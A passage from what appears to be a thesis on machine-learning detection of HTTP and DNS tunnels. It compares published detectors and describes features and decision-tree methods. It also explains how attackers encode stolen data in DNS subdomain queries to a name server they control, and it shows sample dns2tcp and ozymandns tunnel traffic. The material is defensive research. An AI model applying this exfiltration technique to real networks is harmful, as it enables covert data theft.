0.05% 99.95% 0.9996 40,000 1 packet sizes and inter-arrival
times
Web Tap 0.02% 99.98% 0.9560 500,000 4 HTTP headers, usage and
timing
Allard et
al.
1.23% 97.94% 0.9856 19,183 0 packet header information
Table 4.6: Comparison of HTTP tunnel detectors: metrics are false positive
rate (FPR), accuracy (ACC) and F1-score. Test Flows is the number of flows
used for testing, and “Apps” is the number of HTTP tunnel types used.
The classification accuracy of our AutoHED detector aligns with other pub-
lished tunnel detectors. Tunnel Hunter achieves very good results detecting GNU
httptunnel traffic. One of its strengths is that it only uses information from
packet headers, specifically packet sizes, inter-arrival times and order. Hence
it should work with encrypted sessions such as HTTPS. Tunnel Hunter was
applied to traffic collected from the gateway of a faculty campus network over
several weeks. Since it is an anomaly detector, training data consisted of nor-
mal flows defined as 20,000 flows to the most popular, validated 300 websites.
The test set consists of 10,000 normal HTTP flows from a different timeframe,
plus 30,000 GNU httptunnel flows tunnelling Chat, SMTP, and Pop3 services
for several users. Tunnel Hunter was able to detect all the tunnelled traffic,
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while incorrectly classifying 0.22% of the normal flows as tunnelled [40]. Since it
is an anomaly detector, the threshold anomaly score can be chosen arbitrarily,
e.g. only alert on highest 0.05% of scores. The higher threshold would reduce the
false positive rate, but likely at the expense of false negatives (missed tunnels).
Our AutoHED detector has a lower false positive rate of 0.006% but misses some
tunnels.
Web Tap is another anomaly detector which aims to detect HTTP tunnels and
policy-violating web clients [14]. Web requests for 30 users in a university network
were captured over 40 days. Features calculated from these web requests include
HTTP headers to identify non-standard web browsers, time between requests, the
request regularity, the time of day, and usage levels such as individual request size
or bandwidth. Web Tap was trained on one week of the captured data (assumed
to be normal) so a threshold could be determined for each feature. When applied
to all the data, the false positive rate was 92 false alarms in 40 days from 428,608
web requests. When the authors installed and ran wsh, Hopster, firepass, and
a custom tunnelling application on the network, they were all detected, although
tunnels detected by usage levels were only detected after being used for some
time. Web Tap test results are excellent but are hard to compare to ours. Of
their 767 alerts, 12% were false positives. When measured this way, our results
have a much lower false positive rate for the Test dataset with 1 false positive
out of approximately 10,000 alerts, but a much higher false positive rate on the
Ent1, Ent2 and Custom datasets with hundreds of false positives (and only 1
tunnel detected).
Both Tunnel Hunter and Web Tap are anomaly detectors. Hence, while their
test results are very similar to ours, real-world outcomes are expected to be dif-
ferent. Anomaly detectors will find novel activity including new tunnels, but
have the disadvantage of detecting other non-malicious novel traffic such as mis-
configurations or new services. Our supervised approach should find tunnels as
per the training dataset with high accuracy and low false positive rate, but is
unlikely to find novel tunnels or those configured differently to the training set.
Allard et al. [3] describe a statistical analysis of encrypted flows to detect the
inner protocol. As a case study they perform application identification of flows
using features extracted from packet headers, such as the number of packets and
bytes, the average packet size, minimum and maximum inter-arrival time and
direction ratio. Using a publicly available dataset of approximately 20,000 flows
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they were able to correctly identify the application (e.g. HTTP, DNS, SSH or
SMTP) with high accuracy. The authors extrapolate these results to the tunnel
detection problem by assuming that if a network only allows HTTP and HTTPS
traffic, they can detect flows for other applications (tunnels) with a high detection
rate, but with a 1.2% false positive rate. Their false positive rate is much higher
than the other techniques listed here.
4.7.2 Comparison to Alternative Framework
In Section 4.5, we compared our HTTP tunnel detectors AutoHED and ExpertHED
to show that classifiers built using automated feature engineering can achieve sim-
ilar accuracy to classifiers built with manually constructed and selected features.
Then in Section 4.7.1 we also compared their accuracy to other published HTTP
tunnel detectors.
However, while detector accuracies have been compared, we have not yet
directly compared the effectiveness of our chosen feature construction and feature
selection methods to alternatives. Hence, we ran a further experiment to compare
our feature engineering to another published framework. The chosen framework
is by Xu [190]. It was chosen for three main reasons. Firstly, the published
results using the framework compare well to other publications. Secondly, it
uses popular feature engineering methods complementary to ours. And thirdly,
it was developed for the same application domain of intrusion detection.
The framework developed by Xu aims to use ML for adaptive intrusion detec-
tion. The framework has three parts: feature extraction; classifier construction;
and pattern prediction for sequential data. PCA is chosen for feature extrac-
tion, and a multi-class SVM for the classifier. To test the framework, the author
uses the KDD99 benchmark dataset [102] and hence implicitly uses the feature
construction developed for that dataset.
We already have results for our automated feature engineering framework, i.e
AutoHED HTTP tunnel detection results. Hence, for this comparison experiment
we require HTTP tunnel detection accuracy to be measured for Xu’s adaptive
intrusion detection framework.
To perform our experiment we built a classifier as per Xu’s framework, i.e.
KDD99 feature construction, PCA feature extraction, and an SVM classifier.
The only software development required in the experiment was the reimplemen-
tation of the feature construction used to produce the KDD99 dataset. The
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features are described in Section 2.5. Of the 41 features, nine are simple SCD
features similar to NetFlow. Another nine are MCD features calculated over a
time window of two seconds for connections to the same service or same desti-
nation. Ten are MCD features calculated over the most recent 100 connections
to the same destination host. All these MCD features could be calculated in
our software by tracking basic information including timestamps, IP addresses,
ports and services across multiple connections. The MCD features can even be
calculated when only flow summary information is available since flow summaries
contain the required tracking features. The remaining 13 content-based features
were originally constructed from the traffic payloads specifically to detect user-
to-root (U2R) and remote-to-local (R2L) attacks in the KDD99 data. These
features were not all reimplemented for our experiment. Omitting these content-
based features will not affect our experiments since they were designed for specific
attacks which are not relevant to our HTTP tunnel classification problem.
We ran KDD99 feature construction on our testbed traffic to produce flow
summaries containing the 41 KDD99 features. Half the flows were then assigned
to training, and the other half to testing, with sub-sampling of the majority class
ensuring an even balance of tunnel and normal flows. PCA was then applied to
reduce the number of features, with parameters chosen to retain enough principal
components to account for 99.9% of the variance. A multi-class SVM classifier
was chosen with a radial base function (RBF) kernel and parameters gamma =
1.0 and cost = 1.0. The classifier was then trained and tested on our prepared
datasets. The process therefore followed Xu’s adaptive intrusion detection
framework. HTTP tunnel classifier fscores are compared to our AutoHED fscores
in Table 4.7.
Adaptive Intrusion Detection AutoHED
Dataset FPR ACC Fscore FPR ACC Fscore
CV 1.65% 98.35% 0.983 0.000% 100.00% 1.0
Test 1.65% 98.35% 0.983 0.006% 99.99% 0.9999
Table 4.7: HTTP tunnel detection results for alternative framework compared
to our automated feature engineering framework.
Prior to KDD99 feature construction, additional preprocessing steps were
required to merge the tunnel traffic (from a testbed network) with normal traffic
(from a live network). We evenly interleaved the data to ensure a ratio of ten
normal flows for every tunnel flow. This ratio was chosen because tunnels are only
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expected to be a small fraction of normal traffic on an enterprise network. Since
the normal and tunnel traffic was captured at different times, we also rewrote the
timestamps to keep them in the same order as the interleaving. Lastly, we also
rewrote the destination IP address in tunnel traffic to match the IP address of a
web proxy in the normal traffic. This makes the tunnel traffic appear to take the
same path as it would in the live network. It was only after these preprocessing
steps were performed that we performed KDD99 feature construction.
As shown in Table 4.7, the tunnel detection fscores achieved using the adap-
tive intrusion framework are not as high as for our automated feature engineering
framework. The results demonstrate the effectiveness of our framework.
In an effort to explain which features were important to classification in this
test, we built a decision tree classifier using the same training set as for the SVM
classifier. The resultant decision tree had 37 nodes, with the top two splitting cri-
teria being dst host src diff host rate <= 0.51 and dst host same src port rate
> 0.029. Our interpretation is that tunnels can be reasonably identified in our
datasets because some tunnels use the same source port for each transaction,
and also the tunnels are all initiated by the same source host, thereby affecting
the “dst host src diff host rate” statistic.
A caveat to this comparison is that different data preprocessing was required
for each framework. Different preprocessing was required to account for tunnel
data being captured from a separate network to the normal traffic. The KDD99
features are sensitive to timing and order of flows, whereas the features in our
framework are less so. The different data preprocessing has potential to skew
the results, with the most robust solution to capture tunnel and normal traffic
from the same network. That is left as future work.
4.8 Conclusion
In this chapter we firstly described an automated feature engineering process
for HTTP network traffic. The process used Bro to produce base features and
then applied a series of operators to derive additional features. These operators
were implemented in an automatic feature engineering library. The output was
a large candidate set of features which were then filtered using standard feature
selection methods to obtain the most relevant subset of features for the target
problem.
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Secondly, we conducted an evaluation of automated feature engineering by
comparing the accuracy of a HTTP tunnel detector built with this process versus
one built with human-guided features. Human-guided features were chosen based
on previous tunnel detectors described in the literature as well as our analysis of
HTTP tunnel traffic. Experiments performed with both preprocessing strategies
and using the same ML algorithm resulted in approximately equal classification
accuracy. The results also aligned with previous tunnel detectors in the liter-
ature. Therefore, for the problem tested, we conclude that automatic feature
engineering can be applied to the data preprocessing stage of machine learning
without sacrificing classifier accuracy.
Lastly, we performed additional experiments to compare our automated fea-
ture engineering framework with an alternative framework in the literature. The
experiment results showed that the HTTP tunnel detector built with our frame-
work achieved higher fscores. The higher fscore were attributed to generating
more discriminative features.
In the next chapter we continue our experimental evaluation of the automated
feature engineering framework by developing a detector for a second network
security problem: DNS tunnel detection.
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Chapter 5
DNS Tunnel Detection
Earlier in the thesis we explained the importance of detecting protocol tunnels,
promoted the idea of using ML, and noted difficulties in applying ML to network
traffic, with the main difficulty being feature engineering. Hence the literature
review in Chapter 2 studied previous feature engineering approaches used in ML-
based network security applications. The review informed our work in Chapter
3 to design an automated feature engineering framework. The framework gener-
ates discriminative features for a given application directly from network traffic.
We used the framework when building a HTTP tunnel detector in Chapter 4.
Features generated by the framework were used to train and test a supervised
ML binary classifier as the detector. In our tests, classifier performance on the
automatically generated features was shown to be as good as features constructed
manually using domain expertise.
The idea of automated feature engineering to generate a large set of candidate
features appears promising, as it removes the need for manual data preprocessing,
and provides the ML algorithm with a wide choice of features to learn from.
However, since we have only applied it to a single problem of HTTP tunnel
detection, we have little evidence that automated feature engineering can be
used more generally. Hence in this chapter we choose a second network security
problem to further test the approach. The second problem is Domain Name
System (DNS) tunnel detection.
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5.1 Introduction
The domain name system (DNS) is a naming system for hosts on the Internet
and on private networks. It is commonly used to locate hosts by mapping their
names to IP addresses. Hence it ensures requests for a named host are sent
to the correct address. Since DNS performs such a critical function, it is used
universally.
However, any communication protocol which passes from inside an organisa-
tion to an external host can potentially be used by an attacker for data exfil-
tration. DNS is one of those protocols. It is not generally blocked at network
perimeters because it is deemed a trusted protocol. Attackers can take advantage
of that trust to use DNS to tunnel data with little chance of being detected. To
mitigate this threat, organisations either monitor DNS traffic, or use prevention
measures. Monitoring DNS traffic could include running a classifier to detect
DNS tunnels.
DNS tunnels can be used as a type of covert storage channel for a number
of purposes. A common use case is to enable remote attackers to steal intellec-
tual property from an organisation. To setup a tunnel, the attacker must run
tunnelling software on hosts at both end points, i.e. on a host inside the target
network, and on an external host such as on the internet.
Assuming the attacker’s objective is to steal information, DNS tunnels are
generally only used during the final stage of the attack. As discussed in Sec-
tions 1.1.2 and 1.1.3, tunnel detection forms only part of detect function within
a comprehensive network security strategy. However, it is still an important ca-
pability. DNS tunnels were listed as one of the top emerging threats in 2012,
with attackers having successfully used the technique to steal millions of accounts
[169].
We now investigate whether the approach used for HTTP tunnel detection in
Chapter 4 can also be used to detect DNS tunnels. Due to significant differences
between HTTP and DNS traffic (as discussed in Section 5.2.1), the DNS tunnel
detector will necessarily be different from the HTTP tunnel detector. However
the same detection approach will be taken, i.e. building a classifier with auto-
mated feature engineering.
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5.1.1 Aims and Contribution
Our aim is to detect data exfiltration over DNS tunnels at the perimeter of an
organisation, and to achieve this using automated feature engineering. Automa-
tion is motivated by the significant effort currently required to find the key traffic
features for each detection problem.
Our contribution is an automated feature engineering method to generate
features directly from DNS network traffic suitable for DNS tunnel detection.
To verify the method we build a classifier from these features and measure its
detection performance against three DNS tunnel implementations. We interpret
the classifier models to explain how they differentiate DNS tunnels from other
DNS traffic.
5.2 Background
This section provides background material relevant to DNS tunnel detection.
Firstly, the DNS protocol is presented including how it can be misused for a
protocol tunnel. Secondly, the decision tree algorithm is explained since we use
it to discriminate DNS tunnels from normal DNS traffic.
5.2.1 DNS Tunnels
The DNS Protocol
The domain name system (DNS) has become an essential service on the internet.
Its main purpose is to translate domain names to IP addresses. Hence users
can access services with easily-remembered names, with DNS directing them
to the associated IP address. For example when a user browses to a domain
(mydomain.mooo.com), DNS is used to lookup the corresponding IP address(es)
in a distributed database. It can lookup address ’A’ records for IPv4 addresses,
or ’AAAA’ records for IPv6. Once an IP address is returned, the user’s computer
will connect to that IP address and request web content. DNS can also be used
to lookup mail server (MX), authoritative name server (NS), domain name alias
(CNAME), or reverse DNS (PTR) records. Core DNS functionality is defined in
RFCs 1034 and 1035 [140, 141]. Most DNS requests use UDP as the transport,
although large DNS requests and zone transfers occur over TCP. The DNS service
has been allocated port 53.
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Figure 5.1: Request to recursive DNS server for domain name to IP address
lookup
DNS is a hierarchical, decentralised system for scalability and resilience. Each
part of the hierarchy can be provided by a different organisation’s name server.
Domain names are read from right to left, so mysubdomain.mooo.com has top
level domain .com, with the 2nd level domain (2LD) mooo being a subdomain of
.com, and 3rd level domain (3LD) mysubdomain being a subdomain of mooo.com.
The recursive process for resolving the IP address of mysubdomain.mooo.com is
shown in Figure 5.1. Each DNS server can cache results for a period defined
by the time-to-live (TTL) so the recursive lookup process does not need to be
performed for repeated DNS requests.
Importantly, anyone can register a domain or subdomain and point it to their
own name server. Being able to setup and control a custom name server allows an
attacker to configure it as a DNS tunnel server. To exfiltrate data over the tunnel,
the attacker simply sends information encoded as DNS subdomains strings such
as tunneldata in the DNS request tunneldata.mysubdomain.mooo.com. The
DNS hierarchy will eventually direct the request to the DNS tunnel server. Each
DNS request can encode new information, with many DNS requests required for
data exfiltration. The fake name server receiving the DNS requests receives the
tunnelled data and can reply with any valid DNS response.
DNS tunnels are limited by the size and format of the DNS request question
name field. The maximum length of the field is 253 bytes. Another limitation
is that each subdomain within the field (separated by a period) must contain
between 0 and 63 characters. The field only supports the characters a - z, A - Z,
0 - 9 and hyphen. Note: although DNS only allows these ASCII characters, it
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now supports internationalised domain names via a unicode to ASCII translation
called Punycode [38].
The RFC states that DNS servers should answer questions in a case-insensitive
way. Hence www.example.com and WwW.ExAmpLE.cOm should resolve exactly the
same. It is common practice for DNS servers to maintain the case of question
names by directly copying the question section from the DNS request to the
DNS response. This practice can be leveraged as a simple, additional preven-
tative measure against DNS cache poisoning attacks. DNS cache poisoning can
occur when a recursive resolver asks an authoritative DNS server to resolve a
domain name to an IP address. Before the authoritative DNS server has time
to respond, an attacker spoofs the response saying the domain resolves to an IP
address of their choosing. If the spoofed response is accepted, then the recursive
DNS server’s cache is said to be “poisoned” with incorrect information. The
spoofed response will only be accepted by the recursive resolver if the following
values are set correctly: IP address and UDP port of the authoritative DNS
server, the 16-bit DNS transaction ID, query name, query class and query type.
To make spoofing even harder, an internet draft [182] suggests randomly setting
the case of letters in the question name, and then checking the DNS response
contains the matching case. This effectively encodes an extra bit of informa-
tion for each letter in the question name in the DNS request. A spoofer would
need to get the case of each letter correct (in addition to the existing require-
ments) for the spoofed response to be accepted. Since each lowercase letter a -
z (0x41 - 0x5A) differs from its uppercase counterpart A - Z (0x61 - 0x7A) by
0x20, this technique is called “bit 0x20 encoding”. It is not clear whether this
countermeasure is in widespread use.
DNS Tunnel Operation
Farnham and Atlasis [70] describe how DNS tunnels work, and also describe spe-
cific implementations. DNS tunnels can be used for arbitrary bidirectional data
transfers, and hence can be used for a number of purposes such as data exfiltra-
tion, command and control including beaconing, or for tunnelling IP traffic. The
components which make up a tunnel are:
• a controlled domain or subdomain (e.g. mysubdomain.mooo.com) to point
to a fake authoritative name server.
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• a server side software component which masquerades as an authoritative
name server but which is actually the DNS tunnel server known as the
tunnel exit point. It must be directly accessible from the internet.
• a client side software component installed on a host in a security controlled
environment. The host is the tunnel entry point. The aim of the client is
to bypass the security controls in its environment using a DNS tunnel.
The client side component sends data in a DNS request which will eventually
be received by the DNS tunnel server. The data is encoded as a hostname or
subdomain of the full domain name. For example to send the string tunnel-
data, the client sends a DNS ’A’ record request to resolve the IP address of
tunneldata.mysubdomain.mooo.com. The tunnel server can reply with a DNS
response to acknowledge receipt of the tunnelled data, or to send its own data.
Legitimate services such as content delivery networks (CDNs) also encode
information into DNS requests. CDNs aim to deliver content to customers wher-
ever they are in the world with high performance and reliability. To achieve
this, CDNs have nodes in multiple geographic locations. When a user requests
content from a CDN, their DNS request will resolve to the IP address of the
best server to handle the request. The best server is calculated using metrics
such as location, availability and cost. The reason why this is relevant to DNS
tunnelling is that DNS traffic to popular CDNs can appear similar to a DNS
tunnel. For example, Akamai is a popular CDN company, delivering content for
many websites. When browsing to popular websites we can observe many DNS
requests of format a{X}.{Y}.akamaiedge.net, e.g. e7512.d.akamaiedge.net.
Similarly, when using Amazon’s cloud services we see many DNS requests of for-
mat {X}.cloudfront.net, e.g. d1gmaa4bv8uttx.cloudfront.net. Berger and
Natale [9] discuss how DNS traffic associated with CDNs complicates the task
of differentiating legitimate and malicious DNS traffic. In their investigation a
single 2LD was found to have thousands of CNAME aliases, corresponding to
almost as many IP addresses, and with those IP addresses spread across multiple
autonomous systems. In our experiments, the DNS traffic for CDNs looks similar
to a DNS tunnel because the CDN domain (such as Akamai) receives many DNS
requests, each including a different random-looking subdomain string.
There are several reasons why an attacker may choose DNS for tunnelling
data with the expectation it won’t be noticed. Firstly, DNS is a trusted service
and hence is often not monitored closely. It also has high transaction count, so
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a DNS tunnel may only represent a very small fraction of total DNS transac-
tions for an organisation, thereby making it harder to find. Lastly, DNS traffic
associated with legitimate content distribution networks uses relatively long and
high-entropy fully qualified domain names, again making the attacker’s DNS
traffic harder to differentiate.
DNS Tunnel Prevention
DNS tunnels may be prevented from crossing the perimeter of an organisation
by having a suitable network architecture. The following three architectures
have different policies for DNS clients in the organisation, with the third option
preventing most DNS tunnels:
1. DNS clients can query any public server on the internet directly. Hence, if
an attacker has access to a host inside the network, a DNS tunnel could be
set up. This architecture may also allow other higher bandwidth tunnels
such as those using a socks proxy.
2. DNS clients can only query the organisation’s recursive DNS server. Unless
other measures are taken, recursion still allows the DNS client to commu-
nicate with any DNS server on the internet, including a DNS tunnel server.
Our experiments assume this configuration.
3. DNS client requests are blocked at the network perimeter. Hence DNS
tunnels from clients are prevented. Clients can still access web content
using a web proxy which makes DNS requests on behalf of the client.
How DNS and HTTP Tunnels Differ
Both HTTP and DNS tunnels considered in this thesis involve an internal source
IP address tunnelling data to a single external destination IP address. For an
ongoing tunnel, traffic analysis would be expected to show an unusual number
of connections. However, traffic analysis of DNS tunnels is complicated by the
presence of recursive DNS resolvers, which masks the IP address of either the
source or destination. For HTTP tunnels the same problem exists due to HTTP
proxies (except transparent proxies). If traffic is analysed as it leaves the or-
ganisation, then client IP addresses are masked. DNS traffic for all users can
appear to originate from organisation’s recursive DNS server, and HTTP traffic
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for all users from the HTTP proxy. When traffic is combined this way, it be-
comes harder to distinguish a tunnel involving a single user. Instead we analyse
traffic closer to the source IP address (before the recursive DNS server). Even
though all traffic has destination IP address of the recursive DNS resolver, the
true destination can be extracted from the DNS traffic payload, e.g. the DNS
request query name mydomain.mooo.com. Hence traffic analysis can be applied
to source IP addresses and destination names extracted from the payload.
However, even when traffic analysis is used, DNS and HTTP tunnels will
appear different because:
• Most DNS traffic uses UDP, resulting in many small transactions. However
HTTP traffic uses TCP which can support long-lived connections contain-
ing many HTTP transactions, e.g. a HTTP POST can remain open for
minutes to exfiltrate data.
• DNS tunnels used for exfiltration are generally limited to encoding infor-
mation in the DNS request query name field. HTTP tunnels have more
fields to choose from including the URL, any HTTP header field, or in the
body of a HTTP POST.
In addition, normal DNS traffic usage is quite different to normal HTTP traffic
due to the different information they carry, e.g. HTTP can carry streaming me-
dia. To cope with these differences, separate HTTP and DNS tunnel detectors
are required.
5.2.2 Decision Trees
For DNS tunnel detection the task is to discriminate DNS tunnels from normal
DNS traffic. We chose a decision tree classifier because they have been used
effectively for many applications in the literature, and also because the tree can
be easily interpreted.
Decision trees are built using a supervised machine learning algorithm. The
algorithm uses a “divide and conquer” approach to learn a tree model from
training data . It iteratively splits the training set at each tree node based on
a single chosen feature, and only passes a subset of training data to each child
node. The splits aim to separate training data by class, working towards having
a single class at each leaf node.
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Figure 5.2: (a) Linear boundaries between five traffic classes based on two
features; (b) decision tree for same dataset
To visualise the process, Figure 5.2a shows classes split into rectangles (or
when there are more dimensions, hyperplanes). Split lines are all parallel to an
axis. For simplicity, the splitting criterion at each node involves only a single
feature xi, and has form “xi > a?” where a is a constant. In a binary tree, each
non-leaf node has two descendants. Training instances which match the criterion
are propagated to the “yes” branch, and the remaining training instances to the
“no” branch. Leaf nodes are assigned a single class based on a majority vote of
the remaining training instances. A simple decision tree constructed from two
NetFlow features is shown in Figure 5.2b.
Important aspects of building a decision tree model are firstly choosing the
splitting criterion at each tree node, and secondly deciding under what conditions
the tree should stop growing. The process starts with a labelled training set X.
The first node applies a suitable splitting criterion to separate the training set
into disjoint sets XY and XN such that:
XY ∩XN = ∅
XY ∪XN = X
The subset of training data XN is propagated along the “no” branch to node S1,
while the subset XY is propagated along the “yes” branch to node S2. These
subsets are denoted Xs, so Xs ⊆ X. The process is repeated at nodes S1 and S2,
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and recurses to each subsequent child node. At each node a single feature xi and
its value a must be chosen as a splitting criterion to create disjoint subsets which
are more class homogeneous than the input, i.e. the aim is to create training
subsets which are closer to containing a single class (higher purity). Entropy is
used to measure the purity of classes at splitting node s:
H(s) = −
M∑
m=1
P (wm|s)log2P (wm|s)
where wm is class m from the M classes provided in the training set. The
probability of each class at a node s is estimated as:
P (wm|s) = Nms /Ns
where Nms is the number of instances in Xs belonging to class m, and Ns is the
total number of training instances at Xs.
An entropy value of 0 represents purity (only a single class present), and 1
represents maximum impurity which occurs when all classes have equal proba-
bility at Xs. The decrease in impurity due to a splitting node is then the entropy
of the parent minus the weighted sum of the entropy of the two children:
∆H(s) = H(s)− H(sY ).NsY +H(sN).NsN
Ns
where H(sY ) and H(sN) are the entropy of the training subsets on the “yes” and
“no” branch respectively. Alternatively, Gini impurity can be used in place of
entropy, as per the CART (classification and regression tree) algorithm [20].
Any non-trivial splitting criterion will eventually result in a pure class at each
node (even if it contains only a single training instance). However, a decision
tree generalises better and is more interpretable if it is smaller. The problem
of finding the smallest tree to match the training set is NP-complete. So, to
produce compact trees, a local heuristic is used such as maximising ∆H(s) at
each splitting node. This can be achieved by calculating ∆H(s) for each feature
xi and for each value chosen as halfway between consecutive ranked values of
xi in the training set. The feature and feature value generating the maximum
decrease in entropy ∆H(s) is then chosen for this splitting node.
Choosing the splitting criterion in this way grows the tree by a “yes” and
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“no” branch at each node. The process continues until a stop criterion is applied
which avoids the tree from growing too complex and overfitting the training
set. There are a number of choices for the stop criterion including: when Xs is
pure (contains a single class); when Ns reaches a minimum number; or when the
maximum ∆H(s) achievable at a node is less than a threshold. When the stop
criterion is reached, leaf nodes are assigned the majority class of their remaining
training instances.
Once the tree has been constructed from the training set, it can be used to
classify new test data instances. Classification simply involves comparing a data
instance to the first node’s splitting criterion and following the “yes” or “no”
branches to the next node. The process is repeated until a leaf node is reached.
The test data instance is then assigned the class of the matching leaf node.
Decision trees have several advantages over other classifiers. They are efficient
to learn, so scale well to large datasets. The trees are interpretable, allowing
users to understand how a particular classification result was achieved. They
also handle both numeric and categorical data, and do not require values to be
normalised.
However, a disadvantage of decision trees is they are unstable. Small changes
in the training set can result in very different trees. Hence they may not handle
training errors well. Decision trees are not suited to all problems, as they work by
encoding logical expressions of features. For example, if the function to learn is
a circle based on two input features, then decision trees are an inefficient method
to represent the function.
In this thesis we use J48 decision tree software1. J48 is an open-source Java
implementation of the C4.5 algorithm [157]. The main difference of C4.5 over
the binary classification trees described above is that it allows more than two
splits at each node. Hence it is possible for a tree to branch on each value of a
categorical feature. The algorithm also prunes the tree after the learning process
to reduce its size and avoid overfitting. A “confidence factor” parameter to J48
can be adjusted to control the level of pruning, while the parameter “minimum
number of instances” controls the stop criterion of how many training instances
must remain in at least two subtrees (default is 2).
1http://weka.sourceforge.net/doc.dev/weka/classifiers/trees/J48.html
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5.2.3 Related Work
Previous research has shown that some DNS tunnel traffic can be detected by
analysing character frequencies in the question name of DNS queries and re-
sponses. Born and Gustafson [16] empirically showed that normal DNS question
names follow Zipf’s law, i.e. an English-like distribution. DNS tunnel question
names however show a much flatter distribution since tunnelled traffic is often
compressed or encrypted and then encoded for transmission. They experimented
with DNS tunnelling software including Iodine, Dns2tcp and TCP-over-DNS,
and while detection rates are not given specifically, the graphs show a clear dis-
tinction between normal and tunnel DNS traffic.
Born and Gustafson [15] also developed an n-gram visualisation called NgViz
so an operator can use their spatial reasoning to quickly identify anomalies in
DNS traffic. The number of n-grams increases exponentially with n, so they
limited their analysis to unigrams and bigrams, i.e. 1-grams and 2-grams.
Qi et al. [156] also use bigrams for DNS tunnel detection. They calculate
the bigrams present in each DNS query (the question name field excluding the
TLD), and use bigram frequencies calculated in an oﬄine training phase to score
the DNS query. A low score represents a more random DNS query, indicative
of a tunnel, whereas queries for domains following Zipf’s law will have a higher
score. Using a threshold they classify the DNS query, achieving 98.74% accuracy
with a 1.24% false positive rate.
Farnham and Atlasis [70] review previous approaches to DNS tunnel detec-
tion. They categorize detection as either payload analysis or traffic analysis.
Methods considered as payload analysis include measuring: high entropy of do-
main names (indicative of encrypted or compressed data); character distribution
of domain names, such as the number of unique characters, number of repeated
consonants, or length of the longest meaningful substring; using a snort sig-
nature; data imbalance using the ratio of DNS bytes sent versus received; or
requests for domain names longer than 52 characters (indicative of tunnels max-
imising their bandwidth). Reviewed traffic analysis approaches leverage the fact
that DNS tunnels generate large numbers of DNS transactions in order to exfil-
trate data because each transaction can only send small chunks of data (generally
< 200 bytes). Traffic analysis methods take measurements over a time window
such as: DNS client traffic volume; traffic volume per domain; or the number of
unique hostnames per domain. They consider traffic analysis to produce a more
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generalised tunnel detector.
Butler et al. [24] analyse the stealth of command and control channels over
DNS, and test a payload-based countermeasure for detection. They measure
the byte distribution of DNS traffic (ignoring UDP headers) per IP address or
per subnet. To detect tunnels they use the Jensen-Shannon divergence (also
known as total divergence to the average [41]) to measure the difference between
these byte probability distributions. The divergence is high when comparing
a distribution from DNS tunnel traffic with a distribution from normal DNS
traffic. The approach still works when the normal and tunnel DNS traffic is
mixed, although a higher percentage of tunnel traffic is easier to detect due to
a higher divergence. They show that a divergence of 0.015 can distinguish DNS
traffic containing 30% tunnel queries from normal DNS traffic.
Ellens et al. [66] use a traffic-analysis approach to DNS tunnel detection.
They run the DNS tunnel tool Iodine on a host in a campus network, and
use the tunnel to exfiltrate dummy data, run an interactive session mimicking a
command and control channel, and also browse web content bypassing security
measures on the network. Their task is to differentiate this DNS tunnel traffic
from other DNS traffic observed on the campus subnet. In contrast to payload
techniques, the authors analyse only flow metadata collected using an IPFIX
generator called yaf (see Section 6.2.2). They test a number of anomaly detection
techniques, using features such as the flow size, packet count and packet size.
These features are measured per time window as well as per flow. Tunnels were
found to be detectable when changes in averages and distributions exceeded a
threshold, e.g. the Kolmogorov-Smirnov test was used to measure the distance
between distributions.
A review paper by Merlo et al. [137] compares the performance of six openly-
available DNS tunnelling tools, measuring their throughput, round-trip time and
packet overhead. From this analysis the authors qualitatively assessed the us-
ability of the tunnelling software and their level of stealth.
5.3 Automated Feature Engineering for DNS
Tunnel Detection
In this section we design a “DNS exfiltration detector”. Our aim is to build
a DNS tunnel detector to uncover exfiltration of data over that protocol. The
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Figure 5.3: Process for DNS network traffic automated feature engineering
detector should automatically find key features in network traffic to discriminate
DNS tunnels from other traffic. We focus on detecting DNS tunnels used for
data exfiltration rather than those used for other purposes such as beaconing or
command and control. Since we aim to find key features automatically, we use
the automated feature engineering framework discussed in Chapter 3.
The first implementation of the framework was for a tool called HED for HTTP
tunnel detection as described in Section 4.4. We therefore adapt the HED software
to cope with different input data (DNS traffic), and aim to show the approach
is both effective and can be achieved with minimal effort. The process for DNS
traffic is shown in Figure 5.3.
As with HED, we use Bro for protocol parsing and SCD feature construc-
tion. Bro parses DNS traffic and outputs a single feature vector for each DNS
request-response pair. Bro outputs the following fields: source IP, source port,
destination IP, destination port, IP protocol, DNS transaction ID, DNS query,
question class, question type, response code, flags AA, TC, RD, RA, and Z, DNS
answers and time-to-live (TTL). A subset of field values is shown in Table 5.1
for both normal and tunnel traffic.
Since free-text strings are not handled by ML algorithms, we create new
features as numeric measurements of the strings and then discard the original
string. Measurements are the length, unigram and entropy of each string feature
as per the automated feature engineering process used with HED in Section 4.4.
String features output by Bro include the DNS query and answer fields. Since
a DNS response can include multiple items, Bro outputs these as a vector of
strings. Our previous code only handled individual strings, so we extended the
code to handle string vectors (we simply concatenate each item in the vector to
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DNS Query Type DNS Answer TTL Tunnel
2152851240.log.
optimizely.com
A dualstack.log-334788911.us-
east-1.elb.amazonaws.com
23.21.171.231
3099
36
normal
dnn506yrbagrg.cloudfront.net A 54.230.242.48
54.230.242.242
54.230.243.60
55
55
55
normal
tags.tiqcdn.com A 2-01-2f1f-0001.cdx.cedexis.net
tags.tiqcdn.com.edgekey.net
e8091.b.akamaiedge.net
14
14
3
normal
kasaaaabba.
mydomain.mooo.com
TXT AkasAAAABGFNTSC0 yL-
jAtT3BlblNTSF82LjYuMXA
xIFVidW50dS0ydWJ1bnR1Mg
3 dns2tcp
mjag64dfnzzxg2bomnxw2ld2
nruweldon5xgkaaaaanhu3d
jmjag64dfnzzx.21819-0.id-
40205.up.sshdns.
mydomain.mooo.com
A 72.0.0.0 0 ozy-
mandns
Table 5.1: Bro output from DNS traffic
create a single long string). This adds 124 lines of code on top of the existing
Bro script used in HED.
MCD features are basic statistics of numeric features across multiple connec-
tions. For example, we calculate the standard deviation of the query string en-
tropy for multiple DNS transactions between two hosts. We calculate these with
the same software as used in HED. The software was configured with contextual
features to cope with the captured DNS traffic all having the same destination
IP addresses (the default gateway for the local network). Hence we instead used
the domain being queried as the destination. We calculated MCD features for
three contexts: per edge between the source IP and query domain; per source
IP; and per query domain.
The detector is built as a classifier using the supervised machine learning
algorithm “C4.5 decision trees” (see Section 5.2.2), and is trained on the SCD
and MCD features developed in this section.
5.4 Experimental Method
In this section we describe the creation of a DNS tunnel dataset by exfiltrating
data files from a network. We then describe the experiments to test the DNS
exfiltration detector.
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5.4.1 DNS Dataset Generation
To test a DNS tunnel detector we require a dataset containing both normal DNS
traffic and DNS tunnels. We created our own dataset by running DNS tunnels
across our testbed network and capturing the traffic. The first step was to find
